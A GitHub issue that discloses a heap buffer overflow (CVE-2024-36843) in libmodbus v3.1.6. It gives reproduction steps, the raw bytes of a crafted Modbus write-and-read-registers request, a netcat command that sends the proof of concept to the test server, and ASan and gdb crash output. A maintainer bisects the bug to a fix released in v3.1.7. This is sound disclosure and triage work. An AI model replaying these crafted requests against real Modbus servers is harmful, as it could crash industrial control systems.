Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A deep heap buffer overflow vulnerability exists in modbus_mapping_free #748

Closed
balckgu1 opened this issue May 28, 2024 · 2 comments
Closed

Comments

@balckgu1
Copy link

libmodbus version

libmodbus v3.1.6

OS and/or distribution

Ubuntu 18

Environment

..

Description

A heap-buffer-overflow vulnerability exists in modbus_mapping_free()

Actual behavior if applicable

double free or corruption (out)

Expected behavior or suggestion

everything is normal

Steps to reproduce the behavior (commands or source code)

POC:
Poc.zip

I. ASAN

  1. Compiling libmodbus v3.1.6 with asan
$ cd <libmodbus-src>
$ mkdir -p build
$ cd build
$ CC=clang-13 CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" ../configure
$ make -j8
  1. run server
    $ ./tests/unit-test-server
  2. Send the POC to the server

II. gdb

  1. gdb ./unit-test-server
  2. run < ./POC
  3. Then, you can see
...
[New Thread 0x7ffff7bff640 (LWP 7291)]
[New Thread 0x7ffff73fe640 (LWP 7292)]
The client connection from 0.0.0.0 is accepted
Waiting for an indication...
<00><00><00><00><00><0D><FF><03><01><62><00><01>
[Thread 0x7ffff7bff640 (LWP 7291) exited]
[00][00][00][00][00][05][FF][03][02][00][00]
Waiting for an indication...
<00><00><00><00><00><0D><FF><17><01><62><00><10><01><5D><00><01><02><AA><BD>
[00][00][00][00][00][23][FF][17][20][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
<00><01><02>Quit the loop: Connection reset by peer
double free or corruption (out)
�#� 
Thread 1 "unit-test-serve" received signal SIGABRT, Aborted.
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737353619264) at ./nptl/pthread_kill.c:44
44	./nptl/pthread_kill.c: No such file or directory.


(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737353619264)
    at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737353619264) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737353619264, signo=signo@entry=6)
    at ./nptl/pthread_kill.c:89
#3  0x00007ffff7c42476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7c287f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7c89676 in __libc_message (action=action@entry=do_abort, 
    fmt=fmt@entry=0x7ffff7ddbb77 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7ca0cfc in malloc_printerr (
    str=str@entry=0x7ffff7dde790 "double free or corruption (out)") at ./malloc/malloc.c:5664
#7  0x00007ffff7ca2e70 in _int_free (av=0x7ffff7e1ac80 <main_arena>, p=0x5555555784c0, 
    have_lock=<optimized out>) at ./malloc/malloc.c:4588
#8  0x00007ffff7ca5453 in __GI___libc_free (mem=<optimized out>) at ./malloc/malloc.c:3391
#9  0x0000555555569022 in modbus_mapping_free (mb_mapping=mb_mapping@entry=0x555555578430)
    at modbus.c:1868
#10 0x00005555555570bb in main (argc=<optimized out>, argv=<optimized out>)
    at unit-test-server.c:196

libmodbus output with debug mode enabled

./unit-test-server 
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<00><00><00><00><00><0D><FF><03><01><62><00><01>
[00][00][00][00][00][05][FF][03][02][00][00]
Waiting for an indication...
<00><00><00><00><00><0D><FF><17><01><62><00><10><01><5D><00><01><02><AA><BD>
=================================================================
==7362==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000007a at pc 0x586f3720e8d3 bp 0x7ffe54fdc590 sp 0x7ffe54fdc580
WRITE of size 2 at 0x60600000007a thread T0
    #0 0x586f3720e8d2  (/home/zyl/libmodbuspoc/tests/unit-test-server+0xb8d2)
    #1 0x586f3720a630  (/home/zyl/libmodbuspoc/tests/unit-test-server+0x7630)
    #2 0x7cf6bd429d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #3 0x7cf6bd429e3f  (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
    #4 0x586f372094c4  (/home/zyl/libmodbuspoc/tests/unit-test-server+0x64c4)

0x60600000007a is located 6 bytes to the left of 64-byte region [0x606000000080,0x6060000000c0)
allocated by thread T0 here:
    #0 0x7cf6bd8b4887  (/lib/x86_64-linux-gnu/libasan.so.6+0xb4887)
    #1 0x586f37215e2d  (/home/zyl/libmodbuspoc/tests/unit-test-server+0x12e2d)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zyl/libmodbuspoc/tests/unit-test-server+0xb8d2) 
Shadow bytes around the buggy address:
  0x0c0c7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c0c7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa[fa]
  0x0c0c7fff8010: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c0c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==7362==ABORTING
Aborted
@BrunoVernay
Copy link

CVE-2024-36843 "libmodbus v3.1.6 was discovered to contain a heap overflow via the modbus_mapping_free() function."

@psychon
Copy link

psychon commented Jul 11, 2024

gdb ./unit-test-server
run < ./POC

Sorry, what? How is this supposed to work? The unit-test-server does not read anything from stdin.

Anyway, I fail to reproduce this. In current libmodbus git master:

$ ./autogen.sh  # Dunno how you got around without this
$ mkdir build && cd build
$ CC=clang-13 CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" ../configure 
$ make
$ ./libtool --mode=execute gdb --args ./tests/unit-test-server  # Dunno how you managed to execute the libtool wrapper directly under gdb
run

and in another terminal:

$ nc localhost 1502 < POC > /dev/null

Output is:

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Client connection accepted from 127.0.0.1.
Waiting for an indication...
<00><00><00><00><00><0D><FF><03><01><62><00><01>
[00][00][00][00][00][05][FF][03][02][00][00]
Waiting for an indication...
<00><00><00><00><00><0D><FF><17><01><62><00><10><01><5D><00><01><02><AA><BD>
Illegal data read address 0x172 or write address 0x15D write_and_read_registers
[00][00][00][00][00][03][FF][97][02]
Waiting for an indication...
ERROR Connection timed out: select
<00><01><02>Quit the loop: Connection timed out
==15697==LeakSanitizer has encountered a fatal error.
==15697==HINT: For debugging, try setting environment variable LSAN_OPTIONS=verbosity=1:log_threads=1
==15697==HINT: LeakSanitizer does not work under ptrace (strace, gdb, etc)
[Inferior 1 (process 15697) exited with code 01]

You reported version libmodbus v3.1.6. In that version I can reproduce the reported issue. git bisect reports:

b4ef4c17d618eba0adccc4c7d9e9a1ef809fc9b6 is the first bad commit
commit b4ef4c17d618eba0adccc4c7d9e9a1ef809fc9b6
Author: Michael Heimpold <mhei@heimpold.de>
Date:   Sat Jan 8 20:00:50 2022 +0100

    modbus_reply: fix copy & paste error in sanity check (fixes #614)
    
    While handling MODBUS_FC_WRITE_AND_READ_REGISTERS, both address offsets
    must be checked, i.e. the read and the write address must be within the
    mapping range.
    
    At the moment, only the read address was considered, it looks like a
    simple copy and paste error, so let's fix it.
    
    Signed-off-by: Michael Heimpold <mhei@heimpold.de>

 src/modbus.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

v3.1.7 is the first release containing that fix.

I suggest to just close this issue.

Edit: Previous reports:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants